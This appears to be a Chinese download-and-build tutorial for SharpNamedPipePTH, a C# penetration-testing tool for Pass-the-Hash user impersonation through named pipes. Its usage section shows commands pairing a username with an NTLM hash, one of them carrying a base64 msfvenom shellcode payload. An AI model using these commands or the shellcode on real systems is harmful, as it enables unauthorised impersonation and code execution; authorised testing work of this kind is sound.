SharpNamedPipePTH项目下载与安装教程
2024-12-03 14:40:59作者:毕习沙Eudora
1. 项目介绍
SharpNamedPipePTH 是一个基于 C# 开发的工具,用于通过命名管道实现 Pass-the-Hash 认证,进而进行用户模拟。这个工具在已知用户 NTLM-Hash 的情况下,能够帮助渗透测试人员在本地系统上模拟其他用户,执行特定操作。SharpNamedPipePTH 需要本地管理员权限或 SEImpersonate 权限才能使用。
2. 项目下载位置
项目托管在 GitHub 上,您可以访问以下位置下载项目源代码:
GitHub 仓库地址:https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH.git
3. 项目安装环境配置
为了编译和运行 SharpNamedPipePTH,您需要在您的系统中安装以下环境:
- .NET Framework 或 .NET Core SDK
- Visual Studio 或其他支持 C# 的开发环境
以下是一个典型的 Visual Studio 开发环境的截图示例:

请注意,上述图片仅为示例,并不代表实际项目。
4. 项目安装方式
以下是使用 Visual Studio 的安装步骤:
- 克隆或下载项目源代码到本地计算机。
- 打开 Visual Studio,选择“打开项目”或“创建项目”。
- 导航到下载的项目文件夹,选择项目文件(例如 SharpNamedPipePTH.sln)。
- Visual Studio 将自动加载项目,并显示解决方案资源管理器。
- 确保所有依赖项都已安装,然后点击“构建”菜单中的“构建解决方案”。
- 构建完成后,在输出目录中找到生成的可执行文件 SharpNamedPipePTH.exe。
5. 项目处理脚本
SharpNamedPipePTH 可以通过以下两种方式执行:
-
执行二进制文件(带或不带参数):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe -
执行 shellcode:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
请注意,上述 shellcode 示例是使用 msfvenom 生成的,您需要根据实际情况调整参数。
登录后查看全文
热门项目推荐
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00
PaddleOCR-VL-1.5PaddleOCR-VL-1.5 是 PaddleOCR-VL 的新一代进阶模型,在 OmniDocBench v1.5 上实现了 94.5% 的全新 state-of-the-art 准确率。 为了严格评估模型在真实物理畸变下的鲁棒性——包括扫描伪影、倾斜、扭曲、屏幕拍摄和光照变化——我们提出了 Real5-OmniDocBench 基准测试集。实验结果表明,该增强模型在新构建的基准测试集上达到了 SOTA 性能。此外,我们通过整合印章识别和文本检测识别(text spotting)任务扩展了模型的能力,同时保持 0.9B 的超紧凑 VLM 规模,具备高效率特性。Python00
xw-cli实现国产算力大模型零门槛部署,一键跑通 Qwen、GLM-4.7、Minimax-2.1、DeepSeek-OCR 等模型Go06
yuanrongopenYuanrong runtime:openYuanrong 多语言运行时提供函数分布式编程,支持 Python、Java、C++ 语言,实现类单机编程高性能分布式运行。Go051
MiniCPM-SALAMiniCPM-SALA 正式发布!这是首个有效融合稀疏注意力与线性注意力的大规模混合模型,专为百万级token上下文建模设计。00
ebook-to-mindmapepub、pdf 拆书 AI 总结TSX01
项目优选
收起
deepin linux kernel
C
27
11
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
541
3.77 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
889
616
Ascend Extension for PyTorch
Python
353
420
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
339
186
🔥LeetCode solutions in any programming language | 多种编程语言实现 LeetCode、《剑指 Offer(第 2 版)》、《程序员面试金典(第 6 版)》题解
Java
67
20
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
12
1
openJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力
TSX
988
253
暂无简介
Dart
778
194
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.35 K
759